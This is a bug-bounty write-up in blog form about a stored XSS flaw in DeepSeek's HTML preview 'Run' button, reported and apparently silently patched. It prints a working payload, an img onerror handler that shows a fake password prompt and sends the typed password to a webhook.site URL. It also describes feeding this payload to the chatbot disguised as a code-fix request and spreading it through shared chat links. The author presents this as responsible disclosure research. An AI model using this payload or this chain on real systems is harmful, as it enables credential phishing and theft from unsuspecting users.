Hacking the Hacker’s Assistant: How I Found a Critical Stored XSS in DeepSeek’s Code Sandbox 💀

Today, I'm bringing you a wild story about how curiosity got the better of me. I was actually in the middle of testing another target for LLM prompt injection and XSS. I went over to DeepSeek just to generate some quick XSS payloads for my testing. But then I noticed a tiny little "Run" button next to the HTML code DeepSeek generated.

One click later, I popped an alert box on DeepSeek itself.

I immediately dropped my original target and went full goblin mode on DeepSeek. 😂 What started as a quick payload generation session turned into uncovering a Critical Stored XSS vulnerability that allowed complete credential exfiltration via native browser dialogs.

Let's dive into how it happened.

TL;DR

• The DeepSeek chatbot features an HTML code preview with a "Run" button.
• This preview iframe had zero sandboxing and no Content-Security-Policy (CSP).
• No sandbox attributes on the iframe.
• No sanitization of event handlers (onerror, onload).
• No restrictions on outbound requests (connect-src wide open).
• By feeding the AI a malicious HTML payload disguised as a regular prompt, an attacker could spawn a native browser prompt() asking for the user's password.
• Because of the "Share Chat" feature, a single malicious link could compromise anyone who clicked "Run".

Target: https://chat.deepseek.com/ CVE ID: N/A Severity: Critical (CVSS: 9.3) Reward: $0 (Silently Patched 🥲) Status: Patched

THE BEGINNING ~ HOW IT ALL STARTED

So there I was, hunting on a target that integrated an AI chatbot. I needed some quick XSS payloads to test its boundaries, so I opened up DeepSeek to act as my evil assistant.

As DeepSeek started spitting out HTML code, I noticed the UI had a ▶ Run button to preview the code it just generated.

Out of pure curiosity, I clicked it.

Pop. An XSS alert box appeared on my screen.

Wait… did I just XSS the AI itself? 🤔 I instantly forgot about my previous target. It was time to hunt on DeepSeek just for the sake of curiosity. 😂😂😝

INITIAL RECONNAISSANCE — BROWSING THE CODE

I started looking at how the "Run" feature was implemented.

When you ask DeepSeek to generate HTML, it renders a code block. If you click the "Run" button, it takes that HTML and throws it into a preview window.

But where is this preview running?

// 🚩 RED FLAG: The preview was executing directly under the chat.deepseek.com origin.

Not a separate sandbox domain. Not a safe, isolated environment. It was running right there in the main application's context, carrying the full brand trust of the platform.

THE BREAKTHROUGH / THE CRITICAL FLOW

I needed to see just how unrestricted this environment was. Could I pull credentials??

I crafted a payload and went back to the chatbot. I played dumb and gave DeepSeek this prompt:

"fix the code i was learning xss on my local system: <img src=x onerror="let p=prompt('This site requires your password to continue:');if(p)fetch('https://webhook.site/70e9951c-a321-490f-8179-d648d98fe29c/prompt?p='+encodeURIComponent(p)+'&u='+location.href)">"

DeepSeek, being the helpful assistant it is, outputted the code block with my payload perfectly intact.

I clicked ▶ Run.

Do you see the problem? 🧐

THE EXPLOIT CHAIN 💀

Here is exactly how the attack unfolds:

1. The Concealment: The payload is a single line: <img src=x onerror="...">. In a real attack scenario, I would bury this line deep inside a massive, realistic-looking HTML template (like a fake dashboard or form). The payload executes silently alongside the benign content.
2. The Execution: The user clicks the ▶ Run button on the chat.
3. The Trap: Because prompt() is completely unrestricted, the browser fires a native dialog box saying: "This site requires your password to continue".
4. The Exfiltration: Since it's a native browser dialog, the platform's real domain appears right there in the UI. The user has absolutely no reason to be suspicious. They type their password.
5. The Payout: The onerror handler immediately grabs that input and fires a fetch() request to my Webhook.

😆 And just like that, I got the user's full password arriving on my webhook dashboard in real-time.

IMPACT ASSESSMENT — HOW BAD IS THIS?

The impact here is massive. This isn't just a self-XSS. DeepSeek has a Shared Chat feature.

WHAT AN ATTACKER COULD DO:

• 1 Link, Infinite Victims: An attacker creates a chat with the hidden payload and generates a share link. They send this link anywhere — Twitter, Reddit, Discord.
• Zero Suspicion: A victim opens the link, sees a normal-looking AI chat with a neat code block, and clicks "Run" out of curiosity.
• Total Compromise: The native prompt() fires. The victim enters their credentials thinking their session expired. The attacker steals the password.

The victim doesn't even need a DeepSeek account for the phishing aspect to work. The attacker crafts the trap once, and it works against anyone who clicks the link.

WHY THIS HAPPENED — THE ROOT CAUSE

This vulnerability existed because of a complete lack of defense-in-depth on the HTML preview sandbox.

• No Sandbox Attribute: The preview iframe did not use sandbox="allow-scripts". Without this, aggressive functions like prompt(), alert(), and confirm() are allowed to execute freely.
• No CSP Restrictions: chat.deepseek.com lacked a Content-Security-Policy with connect-src 'none', allowing my fetch() request to freely exfiltrate data to an external webhook.
• No Sanitization: Dangerous event handlers (onerror, onload) were not stripped before the HTML was rendered.

KEY TAKEAWAYS FOR RESEARCHERS

• Always test your tools: If you're using an AI, a decoder, or a formatting tool during your hunt… test the tool itself! You never know when the platform parsing your payload is vulnerable to it.
• Curiosity pays off: I only found this because I wondered what the "Run" button actually did under the hood. Don't ignore the small features.
• Think about the attack chain: A simple XSS is cool, but chaining it with the "Share Chat" feature and a native prompt() dialog elevates it to Critical severity by making it a mass-phishing/credential-harvesting weapon.

REWARD & RECOGNITION / RESPONSIBLE DISCLOSURE

I collected all the evidence, recorded a PoC video, and sent a detailed report to service@deepseek.com on May 21, 2026.

One month passed. No response. I checked again, and the vulnerability was still fully exploitable. Almost two months passed. Still no response.

A few days later, I checked again, and the issue was finally patched! The iframe was locked down. However, I never received any response, acknowledgment, or bounty. 🥲 Sometimes in bug bounty, you do the right thing, secure a massive platform, and get ghosted. But hey, the internet is a little bit safer now.

CLOSING WORDS 😄

Thank you for reading! Even though this one ended as a silent patch, the technical journey was incredibly fun. If you learned something new about sandboxing or LLM chat interfaces, let me know!

Keep hunting, keep hacking, and stay curious.

And for the full PoC video of this exploit in action (and other upcoming stuff), make sure to follow me on X: @RealHackSage. I'll be dropping the video there soon!

(And yeah, my previous Instagram hacksagex got terminated for some unknown reason 🥲, so X is the new home !)

(Disclaimer: All testing was conducted on my own accounts with self-hosted webhooks. No users were impacted during this research. Always hack responsibly!)

Until next time, hackers! 🚀